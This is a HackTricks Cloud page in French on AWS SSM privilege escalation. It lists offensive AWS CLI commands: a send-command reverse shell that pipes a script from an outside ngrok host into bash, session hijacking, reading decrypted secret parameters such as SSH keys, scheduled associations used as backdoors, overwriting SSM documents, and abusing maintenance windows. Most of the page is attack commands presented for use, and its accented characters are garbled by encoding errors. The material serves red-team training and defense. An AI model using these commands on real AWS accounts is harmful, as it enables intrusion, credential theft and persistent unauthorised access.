AWS - SSM Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SSM
Pour plus dâinfos sur SSM, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Un attaquant avec la permission ssm:SendCommand peut exĂ©cuter des commandes sur des instances exĂ©cutant Amazon SSM Agent et compromettre lâIAM Role qui sâexĂ©cute Ă lâintĂ©rieur.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Dans le cas oĂč vous utilisez cette technique pour escalader les privilĂšges Ă lâintĂ©rieur dâune instance EC2 dĂ©jĂ compromise, vous pourriez simplement capturer le rev shell localement avec :
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impact potentiel : privesc direct vers les rĂŽles IAM EC2 attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents actifs.
ssm:StartSession
Un attaquant avec la permission ssm:StartSession peut démarrer une session de type SSH dans des instances exécutant Amazon SSM Agent et compromettre le rÎle IAM qui y est exécuté.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Afin de démarrer une session, vous devez avoir SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Impact potentiel: Privesc direct vers les rĂŽles EC2 IAM attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents actifs.
Privesc to ECS
Lorsque les ECS tasks sâexĂ©cutent avec ExecuteCommand activĂ©, les utilisateurs disposant de suffisamment de permissions peuvent utiliser ecs execute-command pour exĂ©cuter une commande Ă lâintĂ©rieur du container.
Selon la documentation cela est fait en crĂ©ant un canal sĂ©curisĂ© entre le device que vous utilisez pour initier la commande âexecâ et le container cible avec SSM Session Manager. (SSM Session Manager Plugin nĂ©cessaire pour que cela fonctionne)
Par consĂ©quent, les users avec ssm:StartSession pourront obtenir un shell Ă lâintĂ©rieur des ECS tasks avec cette option activĂ©e simplement en exĂ©cutant:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Impact potentiel : privesc direct vers les rĂŽles ECS IAM attachĂ©s aux tĂąches en cours dâexĂ©cution avec ExecuteCommand activĂ©.
ssm:ResumeSession
Un attacker avec la permission ssm:ResumeSession peut redĂ©marrer une session de type SSH dans des instances exĂ©cutant Amazon SSM Agent avec un Ă©tat de session SSM disconnected et compromettre le rĂŽle IAM qui sây exĂ©cute.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impact potentiel : privesc direct vers les rĂŽles EC2 IAM attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents en cours dâexĂ©cution et des sessions dĂ©connectĂ©es.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Un attacker avec les permissions mentionnées va pouvoir lister les SSM parameters et les lire en clair. Dans ces parameters, vous pouvez fréquemment trouver des informations sensibles telles que des clés SSH ou des API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impact potentiel : Trouver des informations sensibles dans les paramĂštres.
ssm:ListCommands
Un attaquant avec cette permission peut lister toutes les commands envoyées et, avec un peu de chance, y trouver des informations sensibles.
aws ssm list-commands
Impact potentiel : Trouver des informations sensibles Ă lâintĂ©rieur des lignes de commande.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Un attacker avec ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.
Using ssm:CreateAssociation
Un attaquant disposant de la permission ssm:CreateAssociation peut crĂ©er une State Manager Association pour exĂ©cuter automatiquement des commandes sur des instances EC2 gĂ©rĂ©es par SSM. Ces associations peuvent ĂȘtre configurĂ©es pour sâexĂ©cuter Ă intervalle fixe, ce qui les rend adaptĂ©es Ă une persistence de type backdoor sans sessions interactives.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Cette mĂ©thode de persistence fonctionne tant que lâinstance EC2 est gĂ©rĂ©e par Systems Manager, que lâagent SSM est en cours dâexĂ©cution, et que lâattaquant a la permission de crĂ©er des associations. Elle ne nĂ©cessite ni sessions interactives ni permissions explicites
ssm:SendCommand. Important : le paramĂštre--schedule-expression(par ex.rate(30 minutes)) doit respecter lâintervalle minimum AWS de 30 minutes. Pour une exĂ©cution immĂ©diate ou unique, omettez entiĂšrement--schedule-expressionâ lâassociation sâexĂ©cutera une fois aprĂšs sa crĂ©ation.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Un attaquant disposant des permissions ssm:UpdateDocument et ssm:UpdateDocumentDefaultVersion peut escalader ses privilĂšges en modifiant des documents existants. Cela permet aussi la persistence au sein de ce document. En pratique, lâattaquant aurait Ă©galement besoin de ssm:ListDocuments pour obtenir les noms des custom documents et, sâil souhaite obfusquer sa payload dans un document existant, ssm:GetDocument serait Ă©galement nĂ©cessaire.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Voici un document dâexemple qui peut ĂȘtre utilisĂ© pour Ă©craser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin dâĂ©viter des problĂšmes dâinvocation. Le document ci-dessous, par exemple, conviendra aux exemples ssm:SendCommand et ssm:CreateAssociation.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Un attaquant disposant des permissions ssm:RegisterTaskWithMaintenanceWindow et ssm:RegisterTargetWithMaintenanceWindow peut Ă©lever ses privilĂšges en enregistrant dâabord un nouveau target avec une maintenance window existante, puis en mettant Ă jour en enregistrant une nouvelle task. Cela permet lâexĂ©cution sur les targets existants, mais peut aussi permettre Ă un attaquant de compromettre des compute avec diffĂ©rents rĂŽles en enregistrant de nouveaux targets. Cela permet Ă©galement la persistence, car les tasks des maintenance windows sont exĂ©cutĂ©es Ă un intervalle prĂ©dĂ©fini lors de la crĂ©ation de la window. En pratique, lâattaquant aurait aussi besoin de ssm:DescribeMaintenanceWindows pour obtenir les IDs des maintenance windows.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
Vous pouvez aussi utiliser SSM pour entrer dans un projet codebuild en cours de build :
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

